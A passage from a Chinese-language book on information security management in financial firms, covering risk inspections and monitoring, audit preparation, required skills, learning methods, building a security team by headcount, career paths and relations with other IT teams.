次的风险隐患,有计划性地推动落实整改,实现将风险“扼杀在摇篮中”的目的。 信息安全风险检查,是指通过调研访谈、资料查验、现场核查和穿行测试等方法,评估当前信息安 全管理和技术控制的合规性、充分性和有效性,发现存在的信息安全风险,针对发现的风险提出整改要 求并监督实施的风险防范及控制过程。信息安全风险检查,检查只是手段,“以查促防”“以查促改”才是最 终目的。 信息安全风险检查分为自查、现场检查、非现场检查、飞行检查等多种方式: ·自查方式,由被检查对象自行组成检查组,按照预先制订的检查方案开展信息安全检查,鼓励被检 查机构主动充分揭示自身存在的风险隐患,形成“主动揭示风险,主动落实风控措施”的机制。 ·现场检查方式,由信息安全团队牵头组建检查小组,制订检查方案和时间安排,在预定的时间范围 内进驻被检查单位,按照检查方案开展信息安全风险检查。 ·非现场检查方式,由被检查对象提供文档、影像资料、配置文件等证明材料,信息安全团队牵头组 建检查小组针对证明材料进行核验,通过材料比对、数据分析、电话访谈等方式,核查事实、发现问 题。 ·飞行检查方式,属于现场检查中的一类,但与普通现场检查的区别是不提前制订计划,不提前通 知,而是突然派出检查组直达被检查对象现场“突袭”检查。检查内容同样覆盖所有的检查列表,目的是 检验被检查对象日常信息科技工作情况以及应对突发性检查的能力。 信息安全风险检查过程包括检查准备、检查实施、检查报告、后续整改、总结分析五个阶段。 ·检查准备阶段:包括组织成立检查组、制订检查实施方案、明确检查时间安排、通知被检查单位等 工作。检查方案中最重要的是信息安全风险检查列表,其中明确了检查项目、检查依据、检查标准、检 查方法、抽样要求、发现风险情况、风险级别等,该表涵盖了检查的重点内容,根据监管要求、企业内 部制度流程、历年检查情况等每年进行更新、完善并发布。 ·检查实施阶段:检查人员通过访谈、调查问卷、现场查验和穿行测试等检查方法,了解被检查对象 的信息安全现状,分析信息安全管理和技术控制的合规性、充分性和有效性,识别存在的信息安全风险 及隐患,评估发现的信息安全风险等级及影响。 ·检查报告阶段:检查实施完成后,检查人员应总结信息安全风险检查情况,向被检查对象的负责人 说明检查过程中发现的问题和风险,指出违规情况和风险隐患可能造成的影响,提出明确的整改要求, 向被检查单位发出书面的检查报告,对于重大信息安全责任事件予以通报。 ·后续整改阶段:被检查对象须根据检查报告组织制订信息安全风险检查整改计划,落实整改工作, 同时要求被检查对象按月、按季汇报整改进展。 ·总结分析阶段:信息安全团队定期召开专题信息安全风险防控交流会,组织被检查对象总结分析检 查发现的风险隐患,剖析风险形成原因,研究防控措施,更好地推动整改和长效机制建立。 风险检查工作的输出成果和过程跟踪,可以用一个表格表示,如表5-3所示。 表5-3 风险检查记录表示例 (6)信息安全风险监测技能 信息科技风险监测,指金融企业针对信息科技活动中的重点风险领域,选取关键风险指标,持续开 展风险监测、动态跟踪风险趋势、前瞻研判风险态势并及时采取控制措施的过程。 信息科技风险监测采取以下步骤开展: 1)选取监测指标。根据各领域的管理要求选取可计量的信息科技风险监测指标,以综合反映本企业 信息科技风险水平及风险管控能力。指标的选取,应该能够反映企业信息科技风险水平和控制效果,能 够涵盖本企业信息科技风险存在的主要环节,反映信息科技各环节工作的风险状况。根据指标性质设置 不同的监测频率,可以按月、按季、按年收集。对于每一个指标,要设置合理的阈值,超过阈值范围则 说明风险状况需要引起重视,需要分析原因并采取应对措施。 2)数据采集。信息科技风险监测指标由信息科技基础运行数据经采集、加工、计算形成,有系统自 动采集的指标,也有人工采集的指标。信息科技部门应保障指标数据的全面性、真实性和准确性,指标 数据应当具备可验证、可追溯的数据来源。 3)指标应用。应根据指标监测和分析结果,针对异常情况统筹制订风险应对策略,并具体实施执 行。对于监测发现的重大风险,应及时将风险信息和相关应对处置方案报送高级管理层。 4)指标维护。应根据监管要求、信息科技发展状况、风险监测结果、风险关注重点等情况,定期 (至少每年一次)进行维护及更新,在发生重大科技变更或其他必要事项时,也应进行指标维护及更 新。 风险监测工作的输出成果和过程跟踪,可以用一个表格表示,如表5-4所示。 表5-4 风险监测记录表示例 (7)应对内外部审计和检查的技能 金融企业信息科技部门经常需要接受外部的安全审计、风险评估、检查等工作。监管机构、公安机 关、外部审计公司、内部审计部门、风险管理部门、合规部门等,都是信息科技检查的组织者和执行 者。 金融企业信息科技部门通常会安排信息安全团队负责迎检工作。此时的信息安全团队摇身一变,由 经常检查别人的角色,切换为被检查对象的总协调人。为了保障检查工作的顺利进行,特别需要注意以 下几点: ·换位思考,提前预演。在接到检查、审计等通知前,信息安全团队要尽可能先创造机会在内部做一 次检查的“演练”,也就是说,将自己代入检查人的角色,按照通知中的检查范围、检查内容,模拟检查 方法,先来一次内部检查,对于发现的问题马上组织整改工作。 ·资料提交必须真实、完整、准确。信息安全团队要整体把控资料的内容,正式对外提交前对资料进 行预审,确保资料来源的真实性和可追溯性,而且要确保资料与检查清单上的要求一一对应,不要“张冠 李戴”,也不能有理解的偏差和信息的遗漏。 ·要安排合适的人,说合适的话。要预先安排好被访谈的人员,包括负责总协调的唯一接口人和专业 领域内的其他责任人。接口人要全面掌握企业的内部信息,有较强的沟通协调能力,能快速反应,灵活 调配资源。其他人员要在专业能力上能应对检查内容,沟通方法上能掌握分寸。信息安全团队可以提前 做一次迎检培训,讲述迎检的注意事项。要特别注意的是,回答问题时,牢记“问什么答什么”,绝不能 答非所问,天马行空地想到什么说什么。 2.安全技术类知识和技能 安全技术类的知识和技能涉及面非常广泛,包罗万象。对于金融企业来说,重点需要掌握以下几方 面的安全技术: ·物理环境安全。对于数据中心的访问控制技术、监控、风火水电、消防、温湿度等,了解一些基本 的技术参数要求,在检查时会对比知道怎样属于安全范围内即可,无须深入掌握太多技术细节。 ·网络安全。网络安全技术比较复杂,往往是攻击的突破口,如果能够掌握基本原理和主要的安全相 关技术,对于安全防控大有帮助。主要包括网络设备身份认证措施、网络隔离技术、网络区域划分的规 则、网络边界安全、网络访问控制的配置、网络端口控制、网络安全审计日志等。对于关键的安全设备 之一—防火墙的原理和配置最好也能有所了解。 ·系统安全。主要熟悉操作系统、数据库、中间件等系统软件的安全配置基线,以便通过配置基线的 核查比对,发现风险隐患。 ·应用安全。主要掌握访问控制和身份验证,以及数据保密性、完整性、可用性等方面的安全技术标 准和要求,能够在技术方案评审和投产上线后的安全检查中发挥作用。 ·数据安全。主要掌握个人信息的范围,了解数据脱敏技术,以便核查确认个人信息全生命周期保护 措施是否完善。了解数据备份原理和技术,以便检查数据备份策略是否有效、数据是否具备恢复能力 等。 ·终端安全。主要掌握终端安全相关的工具软件的原理,例如域控、终端准入软件、文档安全产品、 数据防泄漏等终端安全保护技术,以便在终端安全策略制定和安全检查中发挥作用。 ·开发安全。熟悉SDL等开发生命周期中需要遵循的安全技术标准,熟悉需求分析、设计、编码、测 试、投产前安全扫描等各阶段的安全基线,以便参与技术评审和检查应用开发中的安全措施是否充分和 有效。 ·运维安全。熟悉生产运维管理全流程中的风险点,以及堡垒机和系统日志审计、数据库日志审计、 应用日志审计等审计工具的使用。 ·安全防护工具。防病毒软件、IDS/IPS、WAF、漏洞扫描工具等的熟练维护、事件处置和策略优 化。 ·渗透测试。了解渗透测试相关的技术、常用工具软件等,以及各类漏洞的原理、攻防方式、漏洞防 护策略等。 ·安全新技术。包括安全态势感知、安全大数据分析、威胁情报、人工智能等。 ·新技术安全。包括移动互联、云计算、大数据、区块链、人工智能等金融科技新技术的风险、安全 防范措施和安全防护工具。 3.其他补充知识 要做好安全工作,还需要一些补充知识: ·掌握一些业务方面的知识,包括业务相关且涉及科技系统支持的监管要求,主要的业务逻辑,业务 风险控制要求等,以利于技术方案的评审和安全要求在应用系统中的落地实现。 ·掌握沟通、协调和关系处理的软技能。详见5.8节“安全团队与其他团队的关系处理”。 5.5.4 掌握学习方法,实现事半功倍的效果 所有的知识和技能,虽然都有变与不变的部分,但是永远不变的是“变化”。因此信息安全团队必须 不停地刷新自己的知识和技能框架,调整学习重点,保持与新技术、新理论的同步,方可在不断变化的 环境中,始终保持合规性和对风险的有效控制,以及保持对攻击的免疫能力。 由于信息安全相关知识和技能包罗万象、日新月异,掌握一定的学习方法就显得至关重要。 1.安全管理类知识的学习方法 安全管理类工作虽然繁杂,但“万变不离其宗”,要先把监管要求和规章制度等规矩吃透,然后发现 本企业在执行方面的风险和短板,最后完成整改和化解风险。参照读书时“先把书读厚、再把书读薄”的 法则,安全管理类工作也需要经历“读薄—读厚—再读薄”这样的循环。 (1)“把书读薄” 金融企业面临的监管要求、行业标准层出不穷,行内的制度也通常是以百为单位的数量,要全部记 住这些“规矩”基本不太可能。因此需要: 第一步,建立基本原则。分清楚什么样的规矩必须全文吃透,什么样的规矩掌握梗概即可,什么样 的规矩只需掌握其中的关键条款。 第二步,区分精读和粗读。对上面第一种情况精读,第二种情况粗读,第三种情况部分粗读、部分 精读。 第三步,形成“知识地图”。把规矩中的要点摘记下来,在头脑中形成一张“知识地图”,或者利用一 些“脑图”工具实现记录,需要用到的时候可以在“知识地图”中快速检索。这样就实现了“读薄”的效果。 下面举一个银行业监管要求的事例,说明“读薄”的方法。 第一步,建立基本原则。银行业监管要求中关于信息科技风险管理的要求必须全文吃透,因为是信 息科技风险管理的纲领性文件,例如《商业银行信息科技风险管理指引》《银行业金融机构外包风险管 理指引》等;关于整体风险控制的文件需要掌握梗概,因为信息科技风险是其中的重要组成部分,可能 各个条款都与信息科技风险有关联,例如《商业银行内部控制指引》《银行业金融机构全面风险管理指 引》《商业银行操作风险管理指引》等;关于业务风险控制的文件只需要掌握关键条款,因为其中大部 分管理对象是业务操作,与信息科技风险管理相关的条款通常不多,例如《网络借贷资金存管业务指 引》《商业银行委托贷款管理办法》等。 第二步,区分精读和粗读。例如对于《商业银行信息科技风险管理指引》,首先清楚其中涉及信息 科技治理、风险管理、审计、信息安全、开发测试、生产运维、业务连续性、外包等八个关键的风险领 域,然后针对每个领域,逐个吃透其中每个条款的内容,同步思考为何要提这样的风险控制要求、实际 上怎样操作才算满足要求等,这就是精读。对于《银行业金融机构全面风险管理指引》,了解信息科技 风险是其中的重要组成部分,指引中规定了风险治理架构、风险管理策略、风险偏好和风险限额、内部 控制和审计等各方面的风险要求,重点了解信息科技部门需要参与其中每年一次的风险管理策略回顾、 风险评估等工作,并建设完善的风险管理信息系统和信息科技基础设施等,这就是粗读。 第三步,形成“知识地图”。银行业金融机构信息科技风险管理工作涉及面虽广,但是都脱离不了 《商业银行信息科技风险管理指引》“八大领域”的框架范畴,因此可以首先以“八大领域”为“知识地图”第 一层的主干框架,然后将其他监管要求合并进来。例如,将《银行业金融机构外包风险管理指引》中的 主要内容合并到“八大领域”中的“外包管理”领域,将《商业银行数据中心监管指引》中的主要内容合并 到“八大领域”中的“信息安全管理”领域(具体说,是其中的“物理安全”子领域)等。以此类推,就可以建 立起信息风险管理的监管要求“知识地图”。行内制度也可以参照执行。 (2)“把书读厚” 主要方法就是结合本企业的实际,理解和分析监管要求在本企业的应用落地情况。常见的一种方式 是,对照“知识地图”中各领域的要求,逐条分析本企业的制度是否对监管要求进行了转化,以及实际操 作流程是否严格执行了监管要求和制度规定。这样就可以将监管要求中的概要描述,转化为企业内细化 的规定和流程控制,既可以实现对监管要求更深入、更全面、更细致的理解,又可以使企业流程更加标 准化、规范化、精细化。 (3)“把书再次读薄” 主要方法就是在发现本企业与监管要求之间的“缺口”后,分析归纳出主要整改方向和整改要点,把 主要的精力和资源放到解决这些问题上,制订整改计划,将短板补齐,逐步让“缺口”越来越小,需要关 注的重点也就越来越少。 2.安全技术类知识的学习方法 安全技术方面,涉及的领域非常广泛,各种技术类书籍、文章或者工具使用指南可以说是“汗牛充 栋”,这里不讲具体技术内容,只讲所有技术学习共性的“套路”。 这个套路用几句话概括,就是学习的四个境界:“不知道不知道”“知道不知道”“知道知道”“不知道知 道”。 第一步,从“不知道不知道”进化到“知道不知道”。要有“空杯心态”,不停地发现自己的短板,知道自 己该学什么。针对自己工作的重点,分析自己在哪方面的技术存在差距,然后针对差距列出学习清单, 针对清单上的内容逐项确定自己需要学习掌握的程度—精通、熟悉还是了解即可。根据工作需要去学 习,会比为了学习而学习的效果好很多。 第二步,从“知道不知道”坚持到“知道知道”。要保持对技术学习的强烈意愿和兴趣,坚持不懈地努 力,根据清单逐项学习掌握技术要点,第一,摸清技术防控的风险本质和目的;第二,搞清安全技术的 原理和内涵;第三,掌握具体的操作方法。做完这三条后,基本上就心中有数了。在互联网时代,只要 有心,学习的途径非常多。可以参考的做法是,先通过百度或知乎等网站粗略了解该技术想解决的主要 问题和大概原理,再买三本以上的专业书籍阅读理解(一本精读,两本辅助补充),然后找相关的厂商 交流如何实践,三个做法可以交叉或者循环进行。 第三步,从“知道知道”潜移默化为“不知道知道”。这个过程的关键在于将外部知识内化为自己的知 识,并能够熟练运用。第一,要在实际工作中尽可能多地加以运用;第二,要日常多做深度思考,养成 总结、分析、回顾、检讨的习惯;第三,在适当情况下写成文章并与大家分享,强迫使自己的思维趋向 结构化。长此以往,就像最厉害的武侠大师一样,能够做到“心中有剑,手中无剑”,即在需要应用知识 的时候,形成一种“习惯性输出”,无须临时深度思考,就能手到擒来,运用自如。 经历过上述三步以后,就进入一个新的“不知道不知道—知道不知道—知道知道—不知道知道”的循 环,个人的技术水平,也将螺旋上升。 5.6 安全团队建设路径 建设一个好的信息安全团队,不是一蹴而就的。随着金融企业对信息安全保障的要求不断提升,信 息安全工作不断成长成熟,信息安全团队也逐步发展壮大。因此,有必要提前设计好信息安全团队的建 设路径,安排好不同阶段、不同人数团队的不同工作任务。 1.先找好“唐僧” 首先要找到一个“唐僧”式的人物,作为信息安全团队的领头人。这个人必须有坚定的信念,执着的 追求,对目标一以贯之的坚持,才能在重重困难中坚持把信息安全工作做到位。 信息安全团队的领头人,除了自己不畏艰难、苦心修行、日益精进之外,还必须能够对团队产生巨 大的影响,至少要做到以下几点: ·努力让团队成员认可信息安全工作的价值,相信自己的价值,感受到被别人认同的价值,这样才能 激发每个员工的最大潜力和最强的主观能动性。 ·让信息安全工作创造价值。要用“踩油门”的心态和目的,去“踩刹车”,不能习惯性地“踩刹车”,或 者一直踩住刹车导致止步不前。最好的做法是,类似开车时候的“切线变道”,“踩刹车”的目的是为了更好 地前进。金融企业是经营风险的机构,风险管理能力是核心竞争力,良好的风控措施,是为了更好地发 展业务。同样,恰到好处的信息安全管理,也是为了系统更稳定地运行和更好地支持业务,必须努力让 这一目标得以实现。 ·通过各种量化措施,让安全团队的价值表达、体现出来,方法之一是设置合理的安全监测指标和安 全考核指标,体现安全团队对风险的主动发现能力的持续提升,以及安全团队工作绩效的持续改善。 ·主动报告和表达,“管理”上级,做好上层领导的工作,争取领导的支持。信息安全是“一把手工 程”,获得领导的信任和支持是成败的关键,也是信息安全团队领头人最主要的工作任务之一。 2.通过招聘补充成员 “唐僧”确定以后,其他团队成员也需要陆续到位。如果能找到专业技能非常高超的“孙悟空”,沟通协 调能力极强的“猪八戒”,任劳任怨的“沙和尚”,还有平常默默无闻、关键时刻担当顶梁柱的“白龙马”,这 样的团队组合就非常完美。这就需要根据企业的实际需要,针对性地找到对应技能的团队成员。 专业的安全人员在市场上很少,而且前面提到的安全团队知识和技能涵盖面非常广,如监管要求、 安全标准、网络安全、系统安全、应用安全、数据安全、漏洞挖掘、安全运维、安全开发等,能精通一 种都已经极为不易,如果所有的都要精通,基本不可能,要么就是成本极高,不符合安全人员的定位。 因此,要逃离招聘的“悖论”(既希望找通才和高端专才,又不愿意付出对等的薪酬),要先考虑清楚重 点需要什么样的技能,然后招某一方面技能比较突出的人员,招进来以后其他方面边做边学,掌握至一 定程度即可,不求样样精通。 还有一种比较好的方式是,招聘应届生自己培养。这样能根据需要的专业方向,针对性地督促应届 生学习,假以时日即可精通某些方面。 总体来说,要招聘到符合目标的人才,不能坐等人家主动过来发现企业的需求、主动投简历,而应 该自己到市场上去发现和物色,变“招”为“找”。 3.形成团队“合力” 安全管理要求和安全技术纷繁复杂,靠一两个人全盘掌握几乎不可能,所以安全团队要根据人员特 点和专业特长,合理安排角色和分配任务,鼓励每个人在专业路上纵深发展,取长补短,使团队合力最 大化。 4.循序渐进地成长 金融企业的信息安全团队,往往是从0起步,兼职、一个人专职、二个人专职、三个人到N个人专 职,这样一步一步成长起来的。 金融企业信息安全的职能基本都是确定的,在安全管理和安全技术两个大类下,具体包括监管合 规、制度建设、开发安全、运维安全、安全技术等几方面小类的工作。但是处于不同发展阶段的企业, 在信息安全管控目标、风险控制范围和深度、剩余风险接受程度上不一样,因此,需要根据信息安全团 队的资源情况,确定不同阶段、不同资源条件下需要做到的不同层次的目标,进而确定工作重点和工作 方法。团队人数不同,信息安全工作的重点和采用的具体方法也就不同。 (1)兼职的信息安全 信息安全团队建设之初,往往是从综合团队安排一个人兼职承担所有信息安全工作职责。此时金融 企业的安全工作,在安全管理方面往往只能做到“被动”式地满足监管要求,基本是来一个文件处理一个 文件,来一个检查应对一个检查,发现一个漏洞封堵一个漏洞,很少有主动的检查、评估工作,也很少 能举一反三地主动发现漏洞并实现整改。在安全制度建设方面,较难有所建树。 在开发全生命周期的信息安全防控、运维全流程信息安全防控工作中,只能组织开发、运维岗位的 人员来配合安全工作,负责开发、运维相关领域的自查和评估。 安全技术方面基本以外包为主,通过外购安全设备和安全服务,来实现最基本的安全工具的部署和 应用,此时的安全策略基本上可以先采用“出厂配置”,然后由外购的安全服务来提供定期的分析和调 优。此外,通过外购渗透测试和漏洞扫描等服务,来帮助发现信息系统的技术漏洞。 对内外部发现问题的整改督办工作力度难以到位,更多依赖被检查对象的自觉性,基本对方说完成 整改,安全人员就接受结果,没有时间和精力去验证结果。 (2)一个人的信息安全 如果有一个专职的信息安全人员,安全管理方面的工作除了被动应对外部检查审计外,已经可以实 现一定程度的主动发现风险和主动的安全检查。 在安全制度建设方面,此时可以处于起步阶段,牵头建立起关于加解密管理、数据安全等核心的制 度规范。 在运维安全方面,可以组织内部安全自查工作,将安全检查工作划分为机房、网络、系统、应用、 终端等多个领域,但只能做到每月轮换一个领域开展自查工作,全年基本覆盖所有领域。检查深度上, 可以先做到“从无到有”,离“从有到优”还有一定距离。 开发安全方面,可以建立一定的安全开发规范,提供给开发人员执行,但很难去介入开发过程的监 督审核,难以检验开发规范落地效果。 安全技术方面,仍然继续依靠外包资源开展安全工具的维护、策略调优、渗透测试、漏洞扫描等技 术防护工作。 对内外部发现问题的整改督办工作力度仍然难以保证,被动接受被检查对象报告的结果,有余力的 时候可抽查一定比例的证明材料。 (3)两个人的信息安全 当有两个专职信息安全人员时,安全管理和安全技术就可以各由一个人负责。此时,可以安排两个 员工分别开展安全管理和安全技术两个专业领域的学习,往各自的专业领域发展。 安全管理方面,监管要求、行业标准、制度流程可以作为安全管理人员的必备技能,要求必须熟 悉、掌握、应用。监管要求的达成应该更加主动,除了必须完成的“功课”外,还应自主对照所有监管要 求开展合规性分析,弥补短板。此时的分析,主要在于分析制度、流程、机制是否能达到监管要求,对 于执行落地情况较难深入检查验证。 安全制度方面,可以开始规划制度体系,制定企业的整体安全策略,并且对于开发安全、运维安 全、信息安全、业务连续性管理、外包管理等建立起总体的管理办法,明确各流程中的安全管理要求。 内部的安全检查应该可以建立常态化机制了。在运维风险管控方面,检查列表覆盖运维工作的关键 流程(例如,事件和应急处理、生产变更处理和数据备份管理等几个流程),检查深度上可以开始“从有 到优”,更加详细具体。 开发安全方面,可以建立覆盖需求分析、设计、编码、测试、投产全生命周期的应用安全基线和检 查列表,交给开发人员自查。可以在关键技术领域参加技术方案评审(例如,加解密方案、互联网应用 安全等领域),但对于规范落地的检查仍然难以到位。 安全技术方面,可以开始有一定的自主控制能力,安排一人学习掌握常见安全工具的策略,在外包 资源的帮助下,初步具备攻击情况分析和策略调优的能力。 对内外部发现问题的整改督办工作力度增大,参照“二八原则”,对20%重要整改事项的目标效果可以 开展验证,对于80%的绝大部分非重要整改事项,仍然继续被动接受结果。 (4)三个人的信息安全 对于中小型金融企业来说,如果能有三个专职信息安全人员,就已经非常幸福了。此时可以组建起 独立的安全团队,从中挑选一个作为团队的负责人整体安排工作,最好能挑选一个在安全管理和安全技 术方面都有一定的经验的人员来承担,走“广”的路线;另外两人分别担负起安全管理和安全技术的职 责,走“专”的路线。 安全管理方面,监管要求的合规性检查应该“地毯式”铺开,自主对照所有监管要求开展合规性分 析,除了分析是否有对应的制度、流程和机制来达成监管要求外,对于实际的执行应该通过检查、抽查 等方式检验。 安全制度方面,应建立起相对完整的制度体系规划,除了开发、运行等围绕科技项目生命周期的管 理制度外,科技管理、外包管理、信息安全管理等科技支撑性质的制度也应该建立起来。有条件的金融 企业,可以开展ISO27001信息安全管理体系认证,通过对照标准,建立起完整、规范的体系文件,消除 制度空白和盲区,促进制度执行。 内部检查的力度可以进一步增大。在运维风险管控方面,检查列表应该覆盖运维工作的所有流程和 所有领域,轮换开展深入检查。除了检查制度、流程、机制是否完整外,更多的重点放在实际执行情况 是否符合要求。有条件的金融机构可以申请ISO20000IT服务管理体系认证,建立覆盖运维全流程的体系 文件。 开发安全方面,重点要检验需求分析、设计、编码、测试、投产全生命周期的应用安全基线和检查 列表的落地情况,通过技术方案评审、开发人员自查、信息安全团队抽查的方式确保规范落地。 安全技术方面,仍然保持一定的自主控制能力,安排一人学习掌握常见安全工具的策略,对攻击情 况分析和策略调优的分析更加到位。渗透测试、漏洞扫描工作仍然依靠外部资源开展。 对内外部发现问题的整改督办工作,继续参照“二八原则”开展,但对于20%重要整改事项的目标效果 可以开展认真细致的验证,对于80%的非重要整改事项,抽取部分证明材料验证。 (5)N个人的信息安全 从四个人以上的信息安全团队开始,就可以根据“余力”的情况,在安全管理或者安全技术方面分别 加强。 安全管理工作,主要从深度、精细度方面提升,监管要求达成情况的检查频率可以提高、抽样比例 可以提高;安全制度的体系架构可以继续优化,制度的层级、关联关系可以梳理得很清晰,制度的细则 可以覆盖到所有的领域,制度的可执行性可以进一步通过培训、检查、反馈、修订的闭环实现提升,制 度的电子化“硬约束”可以逐步增加;内部安全检查可以往纵深发展,覆盖范围、频度、深度可以持续提 升,开发安全的规范执行检查应该更加到位。 安全技术工作还是继续依赖外包资源开展,因为金融企业面临的巨大的“黑产”市场,很难靠金融企 业自身的寥寥数人来应对,需要依靠专业的安全团队,运用专业的安全工具,才能与专业级的黑客抗 衡。但是金融企业需要培养一定的自主掌控能力,特别是要培养安全人员对于业务的理解能力,更多地 挖掘业务逻辑方面的漏洞,更好地把控外部安全团队的工作质量。 特别需要说明的是,对于安全技术架构和安全技术基础设施建设的职能,有的金融企业可能会放入 队伍更庞大的IT运维团队的职责中。但从专业性、敏感性和安全技术防控的统一性来考虑,最好在人员 允许的情况下,逐步调整为安全技术团队负责。 (6)提升人员单位产出:“安全管理技术化,安全技术管理控” 上面的实施路径,是信息安全管理工作的传统路线。由于信息安全岗位始终是职数有限的,管理者 更需思考如何提升人员单位产出,在人数受限的情况下实现“弯道超车”。这就需要另外一个招数—“安全 管理技术化,安全技术管理控”。 “安全管理技术化”,意思是逐步建立可量化、可视化、一体化、自动化、智能化的信息科技风险管 控机制。具体手段包括建设可视化的信息科技风险预警和整改追踪平台;建设自动化、可量化的信息科 技风险监测和计量机制;建立程序脚本和检测平台以实现自动化检查;实施安全事件管理平台和运作安 全运营中心等。 “安全技术管理控”,意思是不能“唯技术论”。不能认为部署一大堆最先进的安全工具就能防控风险, 而应先明确安全技术工具实施是想实现怎样的安全管理工作目标,在技术运用过程中不停地思考和衡量 目标是否达成;同时应该将安全工具的应用超越简单的操作层面,进化到不停地开展管理策略和风险监 测模型的回顾、检讨、调优,建立跨团队、跨系统、跨平台的一体化管理体系。 5.7 安全人员职业规划 金融企业的信息安全人员,主要分成两类:第一类,专职的信息安全团队成员,其中分为团队负责 人、安全管理和安全技术几个子类。第二类,开发或运维团队中从事信息安全工作的人员。 第一类可以由第二类转化而来,第一类的几个子类间也可以相互转化,例如,开发人员转型开发类 的信息安全人员,然后转型为专业的安全人员;运维人员转型至运维类的信息安全人员,然后转型为专 业的安全人员;安全管理人员可以转型为安全技术人员;安全技术人员也可以转型为安全管理人员。诸 如此类。 对于专职的信息安全团队成员来说,如果确定要从事信息安全工作,首先必须先考虑清楚,自己是 走安全管理路线,还是走安全技术路线;然后一旦选定,就埋头苦干三年,在自己负责的领域做到极 致,从0到1,从1到N不断地学习成长;之后在专业的基础上,继续选择是在深度上继续进阶,还是在广 度上拓展;最后,考虑是走向安全团队负责人、CSO(首席安全官)、还是转型去其他团队。对于信息 安全团队成员来说,如果想突破信息安全领域转向其他领域工作,就要尽早实现转型,否则难度很大。 对于开发或运维团队中从事信息安全工作的人员来说,角色会有点“尴尬”,似乎既懂开发或者运 维、又懂安全,属于复合型跨界人才,但会面临两者都知道、两者都不精的情况,很难在专业能力或者 管理能力上有大的突破。所以建议要么尽快转型做安全团队专业人士,要么转型做开发或运维团队专业 人士,或者让自己具备能力做团队主管,走管理路线。 总体来说,由于信息安全功能定位的特殊性,信息安全与科技主营功能,以及金融企业的主营业务 之间,都有点距离。这也导致了信息安全团队的规模较难壮大,中小型金融企业往往只能安排1~3人专职 从事信息安全工作,大型金融企业可以拓展到十人以上,极少数国内大型银行才可能达到几十人的规 模。所以,信息安全在金融企业内部的功能相对来说比较局限,只能是一个相对较小的舞台。最高的职 位也许能做到安全总监或CSO,大部分充其量就是安全团队主管的角色。这就是安全团队的“天花板”问 题,如果“天花板”已经基本确定不会是很高的角色,那么信息安全团队的成员,应该把自己培养修炼成 非常“高精尖”的技术专家,或者转型至其他团队,或者走管理路线。 有个不一定绝对、但相对比较真实的说法是:如果你想成为公司的CIO,带领数百上千人的团队,主 导公司内部IT,成为老板甚至是董事会眼中的热门人物,那么还是不要选择信息安全,如果你的终极目 标是企业的CEO,那么也请尽早离开信息安全领域,去做企业的主营业务。 任何一个硬币都有两面。有利的一面就是,信息安全作为一项基础性功能,已经越来越成为信息科 技部门下开发、运维、规划等各子专业的人员必备的技术之一。因此,具备信息安全专业能力,也许可 以让信息安全从业人员在转型至信息科技部门的其他专业团队时,更具有差异化的竞争力,而不是让他 们一直保持为专门的信息安全专家。 关于安全从业人员职业规划的其他话题,后面第24章还将详细介绍。 5.8 安全团队与其他团队的关系处理 信息安全工作中,绝大部分的落地工作都非信息安全团队自身可以独立完成,而是在其他团队内完 成的,需要开发、运维、科技管理等其他团队的密切合作方可达成目标。因此,与其他团队的关系处 理,已成为信息安全团队不可回避的工作,甚至在某种程度上成为成败的关键。 1.基本原则 (1)冲突不可避免,但目标必须一致。 任务重、资源紧是科技部内各团队的常态,由于各自工作目标、工作重心、汇报路径的不同,导致 其他团队与信息安全团队不可避免会存在一定的冲突。但信息安全工作是保障系统稳定运行、防范攻击 的底线要求,所以各个团队必须统一思想,把信息安全的目标作为自己团队的目标之一,认识到大家只 是不同的职责分工,但最终目标都是在确保守住风险底线的前提下,大家一起应对不确定性,通过共同 协作、互相补位以实现更好的发展。 (2)不得罪人的信息安全团队,不是好的信息安全团队;把天下人得罪光的信息安全团队,也不是 好的团队。 信息安全团队之所以要与开发、运维、科技管理等团队保持相互独立,就是要发挥检查和监督职 能。如果处处做“和事佬”,生怕得罪人,不敢出具反面意见,信息安全团队只会“和稀泥”,难以体现专业 能力。但是,如果时刻以“东厂西厂”的心态来工作,也会成为众矢之的,得不到大家的配合。因此,必 须寻求一种平衡,把控住“度”,在守住风险底线的前提下,在关键问题上表达专业意见,在非关键问题 上可以适当让步,大家互相妥协,达成一致的目标。 (3)君子和而不同,小人同而不和。 信息安全团队与其他团队共同做事的时候齐心协力,事情做完后大家互不影响,给对方独立的空 间,这就是和而不同。比较好的做法是,心理上对别人和睦友善,但是在对待问题的观点上不会一味地 附和别人,有自己的主见,能体现专业性。同而不和则恰恰相反,心底可能很嫌弃这些人或事,但在平 时别人表达观点的时候为了使自己看起来和大家一致,而一味附和他人观点,这样的做法很难保持自己 的独立性和专业性。 (4)风险管理必须以促进业务发展而非阻碍业务发展为目标。 信息安全团队不能一味与其他团队对立或总是“Say no”,而是要更多的思考,如何合法合规地帮助其 他团队达成目标。要懂业务、懂开发和运维等科技的其他职能,要深入一线了解现场情况、了解一线的 困难和资源状况,帮助他们想办法以最小的代价、最高的效率做到合规。如果只是在旁边观望、挑刺, 指手画脚地要求整改,就很容易把自己孤立起来,得不到其他团队的支持。 2.安全团队关系管理 (1)安全与开发 信息安全团队与开发团队,可能是“冲突”最多的两个团队。因为开发团队的天职是高效满足业务需 求,如果需要更多地考虑安全控制要求,很可能导致逻辑控制复杂度更高,客户体验受到制约。 信息安全团队必须深入了解安全团队所面临的业务压力,以同理心对待,深入了解技术架构和业务 逻辑,并帮助开发人员考虑如何采取最优方案,取得安全性和效率、客户体验的平衡。全生命周期的安 全管理措施,制订起来复杂,执行更是艰难,所以信息安全团队要协助开发人员,针对不同安全级别的 应用系统,采用不同复杂程度的安全开发基线,避免“一刀切”导致的资源浪费和项目周期延长。 (2)安全与运维 信息安全团队与运维团队,是目标最一致的两个团队,因为运维人员的天职也是风险控制。信息安 全团队必须深入了解运维工作流程,理解每一项运维流程设计的必要性,掌握运维关键风险,并在日常 工作中帮助运维团队发现风险,提出风险控制的措施,继而通过持续的检查,帮助运维团队巩固落实风 险控制措施,降低风险隐患发生的可能性。 (3)安全与科技管理 信息安全团队与科技管理团队,在开发和运维管理的职能上可能会略有重叠。例如,有些安全整改 工作同时也是科技管理团队制订的部门工作计划表中的任务,如果双头管理,会给开发和运维团队造成 困扰,也会在整个部门的工作上形成重复浪费。所以安全团队应该与科技管理团队多沟通,对于同一件 事情大家只开展一次,通过信息的共享实现高效管理。 另一方面,科技管理团队也会有风险。例如,信息科技治理的合理性、部内制度流程的合理性、预 算和商务管理工作的合规性、IT资产管理的合规性等,也需要安全团队来检查把关。信息安全团队还必 须懂一些科技管理、财务和资产管理等知识,才能更好地发现科技管理中的问题并提出解决建议。 (4)安全与业务 